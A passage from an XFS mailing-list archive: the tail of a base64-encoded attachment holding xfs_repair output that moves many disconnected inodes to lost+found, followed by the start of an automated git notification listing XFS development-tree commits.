dCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzYxNCwgbW92aW5nIHRvIGxvc3QrZm91bmQK ZGlzY29ubmVjdGVkIGlub2RlIDIzNzM2MTUsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5l Y3RlZCBpbm9kZSAyMzczNjE2LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5v ZGUgMjM3MzYxNywgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM2 MTgsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNjIwLCBtb3Zp bmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzYyMywgbW92aW5nIHRvIGxv c3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM2MjQsIG1vdmluZyB0byBsb3N0K2ZvdW5k CmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNjI1LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25u ZWN0ZWQgaW5vZGUgMjM3MzYyNiwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlu b2RlIDIzNzM2MjgsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzcz NjI5LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzYzMSwgbW92 aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM2MzIsIG1vdmluZyB0byBs b3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNjMzLCBtb3ZpbmcgdG8gbG9zdCtmb3Vu ZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzYzNCwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29u bmVjdGVkIGlub2RlIDIzNzM2MzUsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBp bm9kZSAyMzczNjM2LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3 MzYzOSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM2NDEsIG1v dmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNjQyLCBtb3ZpbmcgdG8g bG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzY0MywgbW92aW5nIHRvIGxvc3QrZm91 bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM2NDQsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nv bm5lY3RlZCBpbm9kZSAyMzczNjQ1LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQg aW5vZGUgMjM3MzY0NiwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIz NzM2NDcsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNjQ4LCBt b3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzY0OSwgbW92aW5nIHRv IGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM2NTEsIG1vdmluZyB0byBsb3N0K2Zv dW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNjUyLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNj b25uZWN0ZWQgaW5vZGUgMjM3MzY1MywgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVk IGlub2RlIDIzNzM2NTQsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAy MzczNjU2LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzY1Nywg bW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM2NTgsIG1vdmluZyB0 byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNjYwLCBtb3ZpbmcgdG8gbG9zdCtm b3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzY2MSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlz Y29ubmVjdGVkIGlub2RlIDIzNzM2NjMsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3Rl ZCBpbm9kZSAyMzczNjY0LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUg MjM3MzY2NSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM2NjYs IG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNjY3LCBtb3Zpbmcg dG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzY2OCwgbW92aW5nIHRvIGxvc3Qr Zm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM2NjksIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRp c2Nvbm5lY3RlZCBpbm9kZSAyMzczNjcwLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0 ZWQgaW5vZGUgMjM3MzY3MSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2Rl IDIzNzM2NzMsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNjc0 LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzY3NSwgbW92aW5n IHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM2NzYsIG1vdmluZyB0byBsb3N0 K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNjc3LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApk aXNjb25uZWN0ZWQgaW5vZGUgMjM3MzY3OCwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVj dGVkIGlub2RlIDIzNzM2NzksIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9k ZSAyMzczNjgwLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzY4 MSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM2ODMsIG1vdmlu ZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNjg0LCBtb3ZpbmcgdG8gbG9z dCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzY4NSwgbW92aW5nIHRvIGxvc3QrZm91bmQK ZGlzY29ubmVjdGVkIGlub2RlIDIzNzM2ODYsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5l Y3RlZCBpbm9kZSAyMzczNjg3LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5v ZGUgMjM3MzY4OCwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM2 OTEsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNjkyLCBtb3Zp bmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzY5MywgbW92aW5nIHRvIGxv c3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM2OTUsIG1vdmluZyB0byBsb3N0K2ZvdW5k CmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNjk2LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25u ZWN0ZWQgaW5vZGUgMjM3MzY5OSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlu b2RlIDIzNzM3MDAsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzcz NzAzLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzcwNiwgbW92 aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM3MDcsIG1vdmluZyB0byBs b3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNzA4LCBtb3ZpbmcgdG8gbG9zdCtmb3Vu ZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzcwOSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29u bmVjdGVkIGlub2RlIDIzNzM3MTAsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBp bm9kZSAyMzczNzExLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3 MzcxNSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM3MTYsIG1v dmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNzE4LCBtb3ZpbmcgdG8g bG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzcxOSwgbW92aW5nIHRvIGxvc3QrZm91 bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM3MjAsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nv bm5lY3RlZCBpbm9kZSAyMzczNzIxLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQg aW5vZGUgMjM3MzcyNSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIz NzM3MjYsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNzI3LCBt b3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzcyOCwgbW92aW5nIHRv IGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM3MjksIG1vdmluZyB0byBsb3N0K2Zv dW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNzMwLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNj b25uZWN0ZWQgaW5vZGUgMjM3MzczMSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVk IGlub2RlIDIzNzM3MzMsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAy MzczNzM0LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3MzczNywg bW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM3MzgsIG1vdmluZyB0 byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNzM5LCBtb3ZpbmcgdG8gbG9zdCtm b3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3Mzc0MSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlz Y29ubmVjdGVkIGlub2RlIDIzNzM3NDIsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3Rl ZCBpbm9kZSAyMzczNzQzLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUg MjM3Mzc0NCwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM3NDUs IG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNzQ3LCBtb3Zpbmcg dG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3Mzc0OCwgbW92aW5nIHRvIGxvc3Qr Zm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM3NDksIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRp c2Nvbm5lY3RlZCBpbm9kZSAyMzczNzUwLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0 ZWQgaW5vZGUgMjM3Mzc1MSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2Rl IDIzNzM3NTMsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNzU0 LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3Mzc1NSwgbW92aW5n IHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM3NTYsIG1vdmluZyB0byBsb3N0 K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNzU3LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApk aXNjb25uZWN0ZWQgaW5vZGUgMjM3Mzc1OCwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVj dGVkIGlub2RlIDIzNzM3NTksIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9k ZSAyMzczNzYwLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3Mzc2 MSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM3NjMsIG1vdmlu ZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNzY0LCBtb3ZpbmcgdG8gbG9z dCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3Mzc2NSwgbW92aW5nIHRvIGxvc3QrZm91bmQK ZGlzY29ubmVjdGVkIGlub2RlIDIzNzM3NjYsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5l Y3RlZCBpbm9kZSAyMzczNzY3LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5v ZGUgMjM3Mzc2OCwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM3 NjksIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNzcxLCBtb3Zp bmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3Mzc3MiwgbW92aW5nIHRvIGxv c3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM3NzMsIG1vdmluZyB0byBsb3N0K2ZvdW5k CmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNzc0LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25u ZWN0ZWQgaW5vZGUgMjM3Mzc3NiwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlu b2RlIDIzNzM3NzcsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzcz Nzc4LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3Mzc3OSwgbW92 aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM3ODAsIG1vdmluZyB0byBs b3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNzgyLCBtb3ZpbmcgdG8gbG9zdCtmb3Vu ZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3Mzc4NCwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29u bmVjdGVkIGlub2RlIDIzNzM3ODgsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBp bm9kZSAyMzczNzg5LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3 Mzc5MCwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM3OTEsIG1v dmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzczNzkyLCBtb3ZpbmcgdG8g bG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM3Mzc5NCwgbW92aW5nIHRvIGxvc3QrZm91 bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzNzM3OTUsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nv bm5lY3RlZCBpbm9kZSAyMzg2MTAyLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQg aW5vZGUgMjM4NjEwMywgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIz ODg4NTUsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzg4ODU2LCBt b3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM4ODg1OSwgbW92aW5nIHRv IGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzODg4NjIsIG1vdmluZyB0byBsb3N0K2Zv dW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzg4ODY0LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNj b25uZWN0ZWQgaW5vZGUgMjM4ODg2NSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVk IGlub2RlIDIzODg4NjYsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAy Mzg4ODY5LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM4ODg3MCwg bW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzODg4NzEsIG1vdmluZyB0 byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzg4ODczLCBtb3ZpbmcgdG8gbG9zdCtm b3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM4ODg3NCwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlz Y29ubmVjdGVkIGlub2RlIDIzODg4NzYsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3Rl ZCBpbm9kZSAyMzg4ODc3LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUg MjM4ODg3OSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzODg4ODAs IG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyMzg4ODgxLCBtb3Zpbmcg dG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjM4ODg4MywgbW92aW5nIHRvIGxvc3Qr Zm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDIzODg4ODUsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRp c2Nvbm5lY3RlZCBpbm9kZSAyMzg4ODg2LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0 ZWQgaW5vZGUgMjM4ODg4NywgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2Rl IDIzODg4ODgsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyNDE3OTU0 LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjQxNzk3NywgbW92aW5n IHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDI0MTc5NzgsIG1vdmluZyB0byBsb3N0 K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyNDE3OTgwLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApk aXNjb25uZWN0ZWQgaW5vZGUgMjQxNzk4MSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVj dGVkIGlub2RlIDI0MjIzODIsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9k ZSAyNDIyMzgzLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjQyMjM4 NCwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDI1MTgxMDYsIG1vdmlu ZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyNTE4MTA3LCBtb3ZpbmcgdG8gbG9z dCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjUxODEwOCwgbW92aW5nIHRvIGxvc3QrZm91bmQK ZGlzY29ubmVjdGVkIGlub2RlIDI1MTgzNzcsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5l Y3RlZCBpbm9kZSAyNTMxODA2LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5v ZGUgMjUzMTgwNywgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDI1MzE4 MDgsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyNTMxODA5LCBtb3Zp bmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjUzMTgxMCwgbW92aW5nIHRvIGxv c3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDI1MzE4MTEsIG1vdmluZyB0byBsb3N0K2ZvdW5k CmRpc2Nvbm5lY3RlZCBpbm9kZSAyNTMxODEyLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25u ZWN0ZWQgaW5vZGUgMjUzMTgxMywgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlu b2RlIDI1MzE4MTQsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyNTMx ODE1LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjUzMTgxNiwgbW92 aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDI1MzE4MTcsIG1vdmluZyB0byBs b3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyNTMxODE4LCBtb3ZpbmcgdG8gbG9zdCtmb3Vu ZApkaXNjb25uZWN0ZWQgaW5vZGUgMjUzMTgxOSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29u bmVjdGVkIGlub2RlIDI1MzE4MjAsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBp bm9kZSAyNTMxODIxLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjUz MTgyMiwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDI1MzE4MjMsIG1v dmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyNTMxODI4LCBtb3ZpbmcgdG8g bG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjUzMTgyOSwgbW92aW5nIHRvIGxvc3QrZm91 bmQKZGlzY29ubmVjdGVkIGlub2RlIDI1MzE4MzAsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nv bm5lY3RlZCBpbm9kZSAyNTMxODMyLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQg aW5vZGUgMjUzMTgzMywgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDI1 MzE4MzQsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyNTMxODM1LCBt b3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjUzMTgzNywgbW92aW5nIHRv IGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDI1MzE4MzgsIG1vdmluZyB0byBsb3N0K2Zv dW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyNTMxODM5LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNj b25uZWN0ZWQgaW5vZGUgMjUzMjA3MSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVk IGlub2RlIDI2Mzk4NTMsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAy NjQwMzcyLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjY0MDM4OCwg bW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDI2NDAzODksIG1vdmluZyB0 byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyNjQwMzkxLCBtb3ZpbmcgdG8gbG9zdCtm b3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjY0MTU1NSwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlz Y29ubmVjdGVkIGlub2RlIDI3MjQ0MTIsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3Rl ZCBpbm9kZSAyNzM2OTYxLCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUg MjczNjk2MiwgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDI3Mzg0Mjgs IG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyNzM4NDM3LCBtb3Zpbmcg dG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjczODQ2MCwgbW92aW5nIHRvIGxvc3Qr Zm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDI3Mzg0NjMsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRp c2Nvbm5lY3RlZCBpbm9kZSAyNzM5MzI1LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0 ZWQgaW5vZGUgMjc0NDA4MywgbW92aW5nIHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2Rl IDI3NDY1MjYsIG1vdmluZyB0byBsb3N0K2ZvdW5kCmRpc2Nvbm5lY3RlZCBpbm9kZSAyNzQ2NzY3 LCBtb3ZpbmcgdG8gbG9zdCtmb3VuZApkaXNjb25uZWN0ZWQgaW5vZGUgMjc0NzE4MSwgbW92aW5n IHRvIGxvc3QrZm91bmQKZGlzY29ubmVjdGVkIGlub2RlIDI3NDcxODMsIG1vdmluZyB0byBsb3N0 K2ZvdW5kClBoYXNlIDcgLSB2ZXJpZnkgYW5kIGNvcnJlY3QgbGluayBjb3VudHMuLi4KY2FjaGVf cHVyZ2U6IHNoYWtlIG9uIGNhY2hlIDB4MTQ3ZjAzMCBsZWZ0IDEgbm9kZXMhPwpkb25lCg== --001a11c21cc81a9a5004ece5d506-- From bpm@oss.sgi.com Fri Dec 6 17:44:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 2013E29E09; Fri, 6 Dec 2013 17:44:11 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. xfs-for-linus-v3.13-rc1-2-13374-gc91c46c X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: ef701600fd26cace9d513ee174688a2b83832126 X-Git-Newrev: c91c46c12768daac8486dff0f74bc52c2ec974cd Message-Id: <20131206234411.2013E29E09@oss.sgi.com> Date: Fri, 6 Dec 2013 17:44:10 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated c91c46c xfs: add xfs_setattr_time 0c3d88d xfs: tiny xfs_setattr_mode cleanup 37eb970 xfs: fix false assertion at xfs_qm_vop_create_dqattach afbd123 xfs: integrate xfs_quota_priv header file to xfs_qm c61a9e3 